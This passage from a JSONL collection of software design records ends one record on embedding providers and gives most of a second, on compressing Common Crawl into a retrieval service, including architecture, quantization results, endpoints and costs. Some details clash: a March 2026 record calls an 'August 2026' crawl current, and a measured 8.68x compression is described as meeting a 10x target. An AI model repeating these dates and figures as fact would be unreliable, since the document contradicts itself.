(parallel)\nconst batch = await embedder.embedBatch([\"dog\", \"cat\", \"puppy\"]);\n// \"dog\" and \"puppy\" WILL be similar (semantic!)\n```\n\n**Rust:**\n```rust\nuse ruvllm::ruvector_integration::{RuvectorIntegration, IntegrationConfig};\n\nlet integration = RuvectorIntegration::new(IntegrationConfig::default())?;\n\n// Intelligent routing with SONA learning\nlet decision = integration.route_with_intelligence(\"implement auth\", &embedding)?;\n\n// Learn from outcome (improves future routing)\nintegration.learn_from_outcome(&task, decision.agent, true)?;\n```\n\n### ruvector-core OnnxEmbedding (Native Rust)\n\n**Direct ONNX Runtime integration** (requires feature: `onnx-embeddings`):\n```rust\nuse ruvector_core::embeddings::{EmbeddingProvider, OnnxEmbedding};\n\n// Downloads and caches model from HuggingFace on first use (~90MB)\nlet provider = OnnxEmbedding::from_pretrained(\"sentence-transformers/all-MiniLM-L6-v2\")?;\n\n// Real semantic embeddings\nlet embedding = provider.embed(\"hello world\")?;\nassert_eq!(embedding.len(), 384);\n\n// \"dog\" and \"cat\" WILL be similar (semantic understanding!)\nlet dog = provider.embed(\"dog\")?;\nlet cat = provider.embed(\"cat\")?;\nlet sim: f32 = dog.iter().zip(&cat).map(|(a, b)| a * b).sum();\nprintln!(\"dog-cat similarity: {}\", sim); // ~0.8\n```\n\n### Testing/Prototyping (Placeholder)\n```rust\nuse ruvector_core::embeddings::{EmbeddingProvider, HashEmbedding};\n\nlet provider = HashEmbedding::new(384);\nlet embedding = provider.embed(\"hello world\")?; // Fast but NOT semantic\nassert_eq!(provider.name(), \"HashEmbedding (placeholder)\");\n```\n\n### Fallback (API-Based)\n```rust\nuse ruvector_core::embeddings::{EmbeddingProvider, ApiEmbedding};\n\nlet provider = ApiEmbedding::openai(\"sk-...\", \"text-embedding-3-small\");\nlet embedding = provider.embed(\"hello world\")?; // Real semantic embeddings\n```\n\n## Security Considerations\n\n### Hash Collision Risk (HashEmbedding)\n\nThe byte-level hashing creates predictable collisions:\n- Anagrams always collide (\"dog\" \u2248 \"god\")\n- Repeated patterns concentrate in specific dimensions\n- NOT suitable for any security-sensitive application\n\n### API Key Management (ApiEmbedding)\n\nWhen using external APIs:\n- Store keys in environment variables or secret managers\n- Rotate keys periodically\n- Monitor usage for anomalies\n- Consider rate limiting and caching\n\n## Related ADRs\n\n- **ADR-058**: Hash Security Hardening (RVF wire format checksums)\n- **ADR-029**: RVF Canonical Format\n- **ADR-042**: Security-RVF-AIDefence-TEE\n\n## References\n\n- Sentence Transformers: https://sbert.net/\n- ONNX Runtime: https://onnxruntime.ai/\n- OpenAI Embeddings: https://platform.openai.com/docs/guides/embeddings\n- Candle: https://github.com/huggingface/candle", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-114-ruvector-core-hash-placeholders.md", "created_at": "2026-03-28T11:58:49.945325+00:00", "content_hash": "e774129ad7845590ae2698836028f439c0ed715ecddf5b48d12000605071ae96"} +{"id": "b005261b-a70a-4178-99c3-cad16b918d53", "source": "adr", "text": "# ADR-115: Common Crawl Integration with Semantic Compression\n\n**Status**: Phase 1 Implemented\n**Date**: 2026-03-17\n**Authors**: RuVector Team\n**Deciders**: ruv\n**Supersedes**: None\n**Related**: ADR-096 (Cloud Pipeline), ADR-059 (Shared Brain), ADR-060 (Brain Capabilities), ADR-077 (Midstream Platform)\n\n## 1. Executive Summary\n\n**Core proposition**: Turn the open web into a compact, queryable, time-aware semantic memory layer for agents\u2014with enough compression to move from expensive archive analytics to cheap always-on retrieval.\n\n**Not**: \"The whole web fits in 56 MB.\" That is a research hypothesis, not an established result.\n\n**What we're building**: A compressed web memory service that provides:\n- Queryable vector memory over Common Crawl\n- Semantic cluster IDs and prototype exemplars\n- Monthly deltas with provenance links\n- Sub-50ms retrieval latency\n\n## 2. Context\n\n### 2.1 Common Crawl Scale\n\nCommon Crawl represents the largest public web archive:\n\n| Metric | Value | Source |\n|--------|-------|--------|\n| Monthly crawl pages | 2.1-2.3 billion | [CC-MAIN-2026-08](https://commoncrawl.org/latest-crawl) |\n| Monthly uncompressed size | 363-398 TiB | Common Crawl statistics |\n| Total corpus (2008-present) | 300+ billion pages | Historical archives |\n| Host-level graph edges | Billions | [Graph releases](https://commoncrawl.org/blog/host--and-domain-level-web-graphs-november-december-2025-and-january-2026) |\n\n**Current latest crawl**: CC-MAIN-2026-08 (August 2026). All examples in this ADR use publicly available crawl IDs: CC-MAIN-2026-06, CC-MAIN-2026-07, CC-MAIN-2026-08.\n\nThe challenge: this scale makes naive storage prohibitively expensive (~$5,000+/month for embeddings alone).\n\n### 2.2 The Opportunity\n\nRuVector's compression stack\u2014PiQ quantization, MinCut clustering, SONA attractors\u2014can potentially reduce this to manageable size. But compression claims must be validated empirically.\n\n## 3. Three-Tier Value Framework\n\n### 3.1 Tier 1: Practical Now (High Confidence)\n\nImmediately useful as a **compressed semantic memory fabric**:\n\n| Application | Description | Value |\n|-------------|-------------|-------|\n| **Domain memory for agents** | Store compressed embeddings, canonical clusters, temporal snapshots, attractor summaries | Retrieval over huge corpus without repeated frontier model calls |\n| **Change detection & topic drift** | Bucket by crawl month, track cluster transitions | Detect when topics stabilize, domains shift stance, concepts fork |\n| **Near real-time knowledge distillation** | Keep compressed attractor per semantic family + witness provenance + recency cache | Web-scale memory for summarization, routing, RAG |\n| **Cheap multi-tenant retrieval** | Cloud Run's granular pricing (vCPU-second, GiB-second) | Small hot retrieval service vs giant search cluster |\n\n### 3.2 Tier 2: High Value If Compression Works (Medium Confidence)\n\nRequires empirical validation of compression ratios:\n\n**Conservative Path** (established techniques):\n1. PiQ-style quantization \u2192 meaningful first-order reduction\n2. Semantic dedup \u2192 reduce near-duplicate pages\n3. HNSW indexing \u2192 fast recall on remaining set\n4. Temporal bucketing \u2192 reduce repeated storage across snapshots\n\n**Aggressive Research Path** (exotic upside):\n1. Cluster to prototypes\n2. Distill clusters into attractors\n3. Represent time as transitions between attractors\n4. Reconstruct details on demand from exemplars\n\n### 3.3 Tier 3: Exotic But Interesting (Research Hypothesis)\n\n**A. Web-Scale Semantic Nervous System**\n\nModel the web not as documents but as evolving attractor fields:\n- Pages are observations\n- Clusters are local semantic basins\n- Attractors are stable concept states\n- Temporal compression captures state transitions\n- MinCut marks semantic fault lines\n\n**Practical outputs**: Early controversy detection, narrative fracture maps, emerging concept birth detection, regime shift alerts.\n\n**B. Memory Substrate for Swarm Reasoning**\n\nCompressed attractors become shared memory for agent swarms:\n- Cluster representatives\n- Attractor deltas\n- Witness-linked updates\n- MinCut-based anomaly boundaries\n\n**C. Historical Web Archaeology**\n\nTime-indexed analysis enables:\n- Topic lineage graphs\n- Domain evolution traces\n- Language drift maps\n- \"What changed when\" semantic replay\n\n**D. World Model Built from Contrast**\n\nTreat the web structurally:\n- Dense clusters = consensus regions\n- Sparse bridges = weak agreements\n- MinCuts = fault lines\n- Temporal attractor jumps = worldview transitions\n\nThis is far more interesting than ordinary vector search.\n\n## 4. Use Case Prioritization\n\n| Use Case | Value | Technical Risk | Compression Tolerance | Near-Term Fit |\n|----------|------:|---------------:|----------------------:|--------------:|\n| Competitive intelligence | 9 | 4 | 8 | **9** |\n| Trend and drift monitoring | 9 | 5 | 8 | **9** |\n| Agent shared memory | 10 | 6 | 7 | **8** |\n| Temporal web archaeology | 8 | 5 | 7 | **8** |\n| General frontier knowledge store | 10 | 9 | 3 | 4 |\n| Narrative fault line detection | 9 | 7 | 9 | 7 |\n| Autonomous world model substrate | 10 | 10 | 5 | 3 |\n\n**Recommendation**: Start with the top four, not the bottom three.\n\n## 5. Decision\n\nBuild a **phased compressed web memory service**, starting with conservative techniques and validating exotic compression empirically.\n\n### 5.1 Architecture Overview\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Common Crawl Ingestion Pipeline \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n\n Common Crawl S3 CDX Index Cache \u03c0.ruv.io (Cloud Run)\n \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n \u2502 \u2502 \u2502\n \u2502 WARC Archives \u2502 URL \u2192 (offset,len) \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n \u2502 s3://commoncrawl/ \u2502 Redis/Memorystore \u2502 \u2502 CommonCrawlAdapter\u2502\n \u2502 crawl-data/ \u2502 (~$8/mo) \u2502 \u2502 \u2502\n \u2502 \u2502 \u2502 \u2502 \u2022 CDX queries \u2502\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u2502 \u2022 WARC range-GET \u2502\n \u2502 \u2502 \u2502 \u2022 URL dedup \u2502\n \u2502 Range GET (only needed bytes) \u2502 \u2502 \u2022 Content dedup \u2502\n \u25bc \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 \u2502\n \u2502 Extraction Layer \u2502 \u2502 \u25bc\n \u2502 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 \u2502 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n \u2502 \u2022 HTML \u2192 text \u2502 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u25ba\u2502 7-Phase Pipeline \u2502\n \u2502 \u2022 Boilerplate strip \u2502 Streaming inject \u2502 \u2502 \u2502\n \u2502 \u2022 Language detect \u2502 \u2502 \u2502 1. Validate \u2502\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u2502 2. Dedupe (URL) \u2502\n \u2502 \u2502 3. Chunk \u2502\n \u2502 \u2502 4. Embed \u2502\n \u2502 \u2502 5. Novelty Score \u2502\n \u2502 \u2502 6. Compress \u2502\n \u2502 \u2502 7. Store \u2502\n \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u2502 \u2502\n \u2502 \u25bc\n \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n \u2502 \u2502 Compression Stack\u2502\n \u2502 \u2502 (validated) \u2502\n \u2502 \u2502 \u2022 PiQ3 (10.7x) \u2502\n \u2502 \u2502 \u2022 SimHash dedup \u2502\n \u2502 \u2502 \u2022 HNSW index \u2502\n \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u2502 \u2502\n \u2502 \u25bc\n \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n \u2502 \u2502 Exemplar Store \u2502\n \u2502 \u2502 \u2502\n \u2502 \u2502 \u2022 Cluster centroids\n \u2502 \u2502 \u2022 Raw exemplars \u2502\n \u2502 \u2502 \u2022 Witness chain \u2502\n \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n```\n\n### 5.2 Component Summary\n\n| Component | Technology | Purpose | Cost |\n|-----------|------------|---------|------|\n| CDX Cache | Redis or disk-backed | Cache Common Crawl CDX index queries | $5-200/mo* |\n| WARC Fetcher | reqwest + Range headers | Fetch only needed bytes from S3 | $0 (public bucket) |\n| URL Deduplication | DashMap | Skip previously seen URLs | ~2 GB RAM |\n| Content Deduplication | SimHash/MinHash | Skip near-duplicate content | ~500 MB RAM |\n| PiQ3 Quantizer | ruvector-solver | 3-bit embedding quantization | CPU |\n| HNSW Index | ruvector-hnsw | Fast approximate nearest neighbor | CPU/RAM |\n| Exemplar Store | GCS + Firestore | Raw exemplars per cluster | Storage |\n| Scheduler | Cloud Scheduler | Periodic crawl ingestion | ~$0.50/mo |\n\n*CDX cache cost depends on backend choice. [Google Memorystore pricing](https://cloud.google.com/memorystore/docs/redis/pricing) shows ~$160/mo for 8 GiB Basic tier in us-central1. A disk-backed SQLite cache or smaller Redis instance can reduce this to $5-50/mo.\n\n## 6. Compression Stack (Conservative Claims)\n\n### 6.1 Validated Compression: PiQ3 Quantization\n\nPiQ (Pi Quantization) reduces embedding precision while preserving semantic relationships:\n\n```rust\nenum PiQLevel {\n PiQ2, // 2-bit: 16x compression, ~0.92 recall\n PiQ3, // 3-bit: 10.7x compression, ~0.96 recall (recommended)\n PiQ4, // 4-bit: 8x compression, ~0.98 recall\n}\n\n// Example: 384-dim float32 embedding\n// Original: 384 \u00d7 4 bytes = 1,536 bytes\n// PiQ3: 384 \u00d7 3 bits / 8 = 144 bytes\n// Compression: 1,536 / 144 = 10.67x\n```\n\n**Status**: Implemented in ruvector-solver. Recall validated on MTEB benchmarks.\n\n### 6.2 Validated Compression: Semantic Deduplication\n\nNear-duplicate detection using SimHash:\n\n```rust\n// Conservative dedup: cosine > 0.95 threshold\n// Reduces near-identical pages (syndicated news, mirror sites)\n// Typical reduction: 3-5x on news domains, 1.5-2x on diverse content\n```\n\n**Status**: Implemented. Reduction ratio varies heavily by domain.\n\n### 6.3 Indexing (Not Compression): HNSW\n\nHNSW is an indexing structure, not storage compression:\n\n```\nHNSW provides:\n\u2713 Fast approximate nearest neighbor search\n\u2713 Sub-linear query time\n\u2717 Storage reduction (adds graph overhead)\n```\n\n**Clarification**: HNSW trades memory for speed. It's essential for retrieval but doesn't reduce total storage.\n\n### 6.4 Research Compression: Attractor Distillation\n\n**Hypothesis**: SONA attractors can compress 10,000 clusters \u2192 100 stable attractors (100x).\n\n**Status**: Not validated. This is the \"exotic upside\" that requires empirical measurement of:\n1. Recall@k after compression\n2. Nearest neighbor fidelity\n3. Downstream task accuracy\n4. Temporal reconstruction error\n5. Provenance retention quality\n\n### 6.5 Compression Estimates (Conservative vs Aggressive)\n\n| Stage | Conservative | Aggressive (Hypothesis) |\n|-------|-------------|-------------------------|\n| Text extraction | 15 PB \u2192 4.6 TB | Same |\n| PiQ3 quantization | 4.6 TB \u2192 430 GB | Same |\n| Semantic dedup | 430 GB \u2192 150 GB (3x) | 430 GB \u2192 43 GB (10x) |\n| HNSW + exemplars | 150 GB total | \u2014 |\n| Attractor distillation | \u2014 | 43 GB \u2192 430 MB (100x) |\n| Temporal compression | \u2014 | 430 MB \u2192 56 MB (8x) |\n\n**Conservative target**: ~150 GB working set (fits in RAM for fast retrieval)\n**Aggressive hypothesis**: ~56 MB (requires validation)\n\n## 7. Implementation Phases\n\n### Phase 1: Compressed Web Memory Service (Weeks 1-3)\n\n**Goal**: Queryable vector memory over Common Crawl with validated compression.\n\n**Deliverables**:\n- CommonCrawlAdapter with CDX queries and WARC range-GET\n- PiQ3 quantization layer\n- SimHash deduplication\n- HNSW index for retrieval\n- Monthly crawl bucket ingestion\n\n**Inputs**:\n- Common Crawl WET text\n- Embeddings (all-MiniLM-L6-v2)\n- Monthly crawl bucket\n- Domain metadata\n\n**Outputs**:\n- Queryable vector memory\n- Semantic cluster IDs\n- Prototype exemplars\n- Monthly deltas\n- Provenance links\n\n**Success Criteria**:\n- Retrieval latency < 50ms\n- Recall \u2265 90% of uncompressed baseline\n- Storage \u2265 5-10x reduction vs naive embedding-only\n\n### Phase 2: Semantic Drift & Fracture Engine (Weeks 4-6)\n\n**Goal**: Detect topic evolution and structural changes.\n\n**Additions**:\n- MinCut on cluster graph\n- Temporal cluster transition graph\n- \"Fault line\" score\n- Alerting for concept bifurcation\n\n**Success Criteria**:\n- Detects known topic splits before manual analysts\n- Low false positive rate on stable topics\n\n### Phase 3: Shared Memory Brain for Swarms (Weeks 7-10)\n\n**Goal**: Multi-agent coordination via compressed memory.\n\n**Additions**:\n- Attractor compression (validate research hypothesis)\n- Witness-linked updates\n- Per-agent working set cache\n- Route by cost/latency/privacy/quality\n\n**Success Criteria**:\n- Lower token spend per task\n- Fewer repeated retrievals\n- Better multi-agent consistency\n\n## 8. Critical Validation Requirements\n\n### 8.1 Acceptance Test\n\nBefore claiming aggressive compression ratios, execute this benchmark:\n\n**Dataset**: Three publicly available monthly crawls:\n- CC-MAIN-2026-06\n- CC-MAIN-2026-07\n- CC-MAIN-2026-08\n\n**Procedure**:\n1. Sample 1M pages per crawl (3M total)\n2. Embed full text with all-MiniLM-L6-v2 (384-dim fp32)\n3. Build fp32 baseline HNSW index\n4. Apply PiQ3 quantization\n5. Apply SimHash deduplication (cosine > 0.95)\n6. Build compressed HNSW index\n7. Generate 10K random query embeddings\n\n**Required Measurements**:\n| Metric | Measurement | Target |\n|--------|-------------|--------|\n| Recall@10 | % of true top-10 in compressed results | \u2265 0.90 |\n| nDCG@10 | Ranking quality vs fp32 baseline | \u2265 0.85 |\n| Storage (embeddings) | Compressed bytes / fp32 bytes | \u2264 0.10 (10x) |\n| p95 latency | 95th percentile query time | < 30ms |\n| p99 latency | 99th percentile query time | < 50ms |\n| Provenance recovery | % of results traceable to source URL | \u2265 0.99 |\n\n**Pass Criteria**: All targets met simultaneously.\n\n### 8.2 Metrics to Track\n\n| Metric | Description | Target |\n|--------|-------------|--------|\n| `recall_at_10` | Retrieval accuracy vs uncompressed | \u2265 0.90 |\n| `nn_fidelity` | Nearest neighbor distance preservation | \u2265 0.95 |\n| `task_accuracy` | Downstream QA accuracy | \u2265 0.85 |\n| `temporal_error` | Reconstruction error across time | \u2264 0.10 |\n| `provenance_retention` | % of sources traceable | \u2265 0.99 |\n\n### 8.3 POC Validation Results (2026-03-17)\n\n**Test Configuration**:\n- Embedding dimension: 128 (HashEmbedder)\n- Test embeddings: 10,000\n- Quantization: PiQ3 product quantization\n- Hardware: Apple Silicon (M-series)\n\n**Results**:\n\n| Tier | Bits | Compressed Size | Compression Ratio | Cosine Recall | Throughput |\n|------|------|-----------------|-------------------|---------------|------------|\n| Full (baseline) | 32 | 512 bytes | 1.00x | 100.00% | N/A |\n| DeltaCompressed | 4 | 75 bytes | 6.83x | 99.78% | 97,605/sec |\n| CentroidMerged | 3 | 59 bytes | 8.68x | 99.05% | 113,157/sec |\n| Archived | 2 | 43 bytes | 11.91x | 95.43% | 133,951/sec |\n\n**Analysis**:\n- **3-bit (PiQ3)**: Achieves 8.68x compression with 99.05% recall \u2014 exceeds target (\u226590%)\n- **4-bit (DeltaCompressed)**: Near-lossless at 99.78% recall with 6.83x compression\n- **2-bit (Archived)**: Aggressive 11.91x compression maintains 95.43% recall\n- **Throughput**: All tiers exceed 97K embeddings/second \u2014 sufficient for real-time ingestion\n\n**Conclusion**: The PiQ3 quantization implementation meets ADR-115 acceptance criteria. Further validation needed with full Common Crawl corpus (3M page sample).\n\n**Implementation**: `crates/mcp-brain-server/src/quantization.rs`\n\n## 9. Failure Modes & Mitigations\n\n### 9.0 Mandatory Exemplar Retention Rule\n\n**Hard policy**: Any cluster compression pass must:\n1. Retain at least one raw exemplar per cluster\n2. Retain at least one provenance anchor (source URL + timestamp) per cluster\n3. Preserve high-novelty outliers even when compression pressure is high\n4. Never merge clusters without preserving lineage graph edges\n\nThis rule protects long-tail knowledge and auditability.\n\n### 9.1 Compression Destroys Edge Cases\n\n**Risk**: Exotic compression preserves the average and kills rare-but-valuable content.\n\n**Mitigation**:\n- Retain raw exemplar pages per cluster (see 9.0)\n- Preserve long-tail pockets (high novelty score)\n- Measure recall separately for common vs rare concepts\n\n### 9.2 HNSW Complexity\n\n**Risk**: HNSW adds graph structure and tuning complexity without storage reduction.\n\n**Mitigation**:\n- Use HNSW for speed, not compression claims\n- Tune ef_construction and M parameters empirically\n- Consider IVF-PQ for truly massive scale\n\n### 9.3 Temporal Compression Hallucinates Continuity\n\n**Risk**: Merging months into attractors can accidentally erase sharp changes.\n\n**Mitigation**:\n- Keep raw monthly witnesses\n- Detect and preserve change points\n- Flag high-magnitude attractor jumps\n\n### 9.4 Provenance Loss\n\n**Risk**: Aggressive compression without source anchors makes system hard to audit.\n\n**Mitigation**:\n- Every cluster retains exemplar citations\n- Time buckets preserved\n- Cluster lineage graph maintained\n\n## 10. API Endpoints\n\n### 10.1 Discovery Endpoint\n\n```\nPOST /v1/pipeline/crawl/discover\nAuthorization: Bearer \n\n{\n \"query\": \"*.arxiv.org/abs/*\",\n \"crawl\": \"CC-MAIN-2026-08\",\n \"limit\": 1000,\n \"filters\": {\"language\": \"en\", \"min_length\": 1000}\n}\n\nResponse:\n{\n \"total\": 15234,\n \"returned\": 1000,\n \"records\": [{\"url\": \"...\", \"timestamp\": \"...\", \"length\": 45000}]\n}\n```\n\n### 10.2 Ingest Endpoint\n\n```\nPOST /v1/pipeline/crawl/ingest\nAuthorization: Bearer \n\n{\n \"urls\": [\"https://arxiv.org/abs/2603.12345\"],\n \"crawl\": \"CC-MAIN-2026-08\",\n \"options\": {\"skip_duplicates\": true, \"compute_novelty\": true}\n}\n\nResponse:\n{\n \"ingested\": 1,\n \"skipped_duplicates\": 0,\n \"compression_ratio\": 10.7,\n \"novelty_score\": 0.82,\n \"cluster_id\": \"arxiv-quantum-ec\"\n}\n```\n\n### 10.3 Search Endpoint\n\n```\nPOST /v1/pipeline/crawl/search\nAuthorization: Bearer \n\n{\n \"query\": \"quantum error correction surface codes\",\n \"limit\": 10,\n \"include_exemplars\": true\n}\n\nResponse:\n{\n \"results\": [\n {\n \"cluster_id\": \"arxiv-quantum-ec\",\n \"score\": 0.92,\n \"exemplar_url\": \"https://arxiv.org/abs/2603.12345\",\n \"observation_count\": 1234\n }\n ],\n \"latency_ms\": 23\n}\n```\n\n### 10.4 Drift Endpoint\n\n```\nGET /v1/pipeline/crawl/drift?topic=machine+learning&months=6\n\nResponse:\n{\n \"topic\": \"machine learning\",\n \"drift_score\": 0.34,\n \"transitions\": [\n {\"from\": \"deep-learning\", \"to\": \"llm-agents\", \"month\": \"2026-01\", \"magnitude\": 0.12}\n ],\n \"fault_lines\": [\n {\"boundary\": \"symbolic-vs-neural\", \"stability\": 0.23}\n ]\n}\n```\n\n## 11. Cost Analysis\n\n[Cloud Run pricing](https://cloud.google.com/run/pricing) is request-based: $0.000024/vCPU-second and $0.0000025/GiB-second in us-central1, plus free tier credits. Actual costs depend heavily on usage pattern.\n\n### 11.1 Cost by Workload Type\n\n| Workload | Pattern | Estimated Monthly |\n|----------|---------|-------------------|\n| **Scheduled ingest jobs** | Bursty, 1-2 hrs/day | $20-50 |\n| **Always-on retrieval** | Warm instance, continuous | $100-200 |\n| **Backfill/benchmark** | Spike, one-time | $50-500 (varies) |\n\n### 11.2 Conservative Estimate (Validated Compression)\n\n| Component | Monthly Cost | Notes |\n|-----------|--------------|-------|\n| CDX cache (disk-backed) | $5-50 | SQLite on GCS or small Redis |\n| CDX cache (Memorystore) | $80-200 | 4-16 GiB Basic tier |\n| GCS storage (150 GB compressed) | $3 | Standard class |\n| Firestore (metadata) | $10 | Document ops |\n| Cloud Run (retrieval) | $100-200 | Duty-cycle dependent |\n| Cloud Run (ingest jobs) | $20-50 | Bursty pattern |\n| Cloud Scheduler (8 jobs) | $0.50 | |\n| Egress | $20 | |\n| **Total (disk cache)** | **$160-340/month** | |\n| **Total (Memorystore)** | **$230-480/month** | |\n\n### 11.3 Cost Optimization Options\n\n| Option | Savings | Trade-off |\n|--------|---------|-----------|\n| Disk-backed CDX cache (SQLite) | -$150 | Slightly higher latency |\n| Scale-to-zero retrieval | -$100 | Cold start latency |\n| Regional egress only | -$15 | Limited to us-central1 |\n| Committed use discounts | -20% | 1-3 year commitment |\n\n### 11.4 Aggressive Estimate (If Research Compression Validates)\n\n| Component | Monthly Cost |\n|-----------|--------------|\n| CDX cache (disk-backed) | $5 |\n| GCS storage (56 MB compressed) | $0.01 |\n| Firestore (attractor metadata) | $5 |\n| Cloud Run (scale-to-zero) | $30-80 |\n| Cloud Scheduler (8 jobs) | $0.50 |\n| Egress | $10 |\n| **Total** | **$50-100/month** |\n\n## 12. Success Metrics\n\n### 12.1 Phase 1 Success (Conservative)\n\n| Metric | Target |\n|--------|--------|\n| Compression ratio (vs naive embeddings) | \u2265 10x |\n| Retrieval latency (p99) | < 50ms |\n| Recall@10 | \u2265 0.90 |\n| nDCG@10 | \u2265 0.85 |\n| Provenance recovery | \u2265 0.99 |\n| Monthly operating cost | < $350 (disk cache) |\n\n### 12.2 Phase 3 Success (Aggressive)\n\n| Metric | Target |\n|--------|--------|\n| Compression ratio | \u2265 1000x |\n| Retrieval latency (p99) | < 50ms |\n| Recall@10 | \u2265 0.90 |\n| Monthly operating cost | < $100 |\n| Agent token savings | \u2265 30% |\n\n## 13. Open Questions\n\n1. **Attractor validation**: What recall@k does SONA attractor compression actually achieve?\n2. **Long-tail preservation**: How do we ensure rare concepts aren't crushed?\n3. **Multi-language**: Should attractors be language-specific or cross-lingual?\n4. **Real-time**: Can we process new pages before monthly crawl release?\n5. **Legal**: What are the implications of derived knowledge vs raw content storage?\n\n## 14. References\n\n- [Common Crawl Latest Crawl](https://commoncrawl.org/latest-crawl)\n- [Common Crawl Graph Statistics](https://commoncrawl.github.io/cc-crawl-statistics/)\n- [Cloud Run Pricing](https://cloud.google.com/run/pricing)\n- [Memorystore for Redis Pricing](https://cloud.google.com/memorystore/docs/redis/pricing)\n- [ADR-096: Cloud Pipeline](./ADR-096-cloud-pipeline-realtime-optimization.md)\n- [ADR-077: Midstream Platform](./ADR-077-midstream-ruvector-platform.md)\n\n---\n\n## 15. Cost-Effective Implementation Strategy\n\n### 15.1 Three-Phase Budget Model\n\nStarting from a minimal viable crawl and scaling up only after validating cost/value at each tier.\n\n| Phase | Scope | Monthly Cost | Memories/Month | Trigger to Next Phase |\n|-------|-------|-------------|----------------|----------------------|\n| **Phase 1: Medical Domain** | PubMed, dermatology, clinical guidelines via CDX queries | $11-28 | 5K-15K | Recall >= 0.90 on domain, cost stable for 30 days |\n| **Phase 2: Academic + News** | + arXiv, Wikipedia, tech blogs | $73-108 | 50K-100K | Phase 1 metrics sustained, budget approved |\n| **Phase 3: Broad Web** | + WET segment processing | $158-308 | 500K-1M | Phase 2 metrics sustained, graph sharding ready |\n\n**Phase 1 Cost Breakdown**:\n\n| Item | Monthly Cost | Notes |\n|------|-------------|-------|\n| Cloud Run (crawl job, 30min/day) | $3-8 | Scale-to-zero, bursty |\n| Firestore (5K-15K writes) | $2-5 | Document + subcollection ops |\n| Cloud Scheduler (2 jobs) | $0.10 | Medical + derm crawl triggers |\n| GCS (compressed embeddings) | $0.50 | PiQ3-compressed, <1 GB |\n| CDX cache (SQLite on disk) | $0 | Local to Cloud Run instance |\n| RlmEmbedder (CPU, 128-dim) | $0 | Runs in-process, no external API |\n| Egress (internal only) | $0-5 | Minimal cross-region traffic |\n| Monitoring + alerting | $0.50 | Cloud Monitoring free tier |\n| Buffer (20%) | $5-10 | Headroom for spikes |\n| **Total** | **$11-28** | |\n\n### 15.2 Cost Guardrails\n\nHard limits enforced at the application layer to prevent runaway spending.\n\n```rust\npub struct CostGuardrails 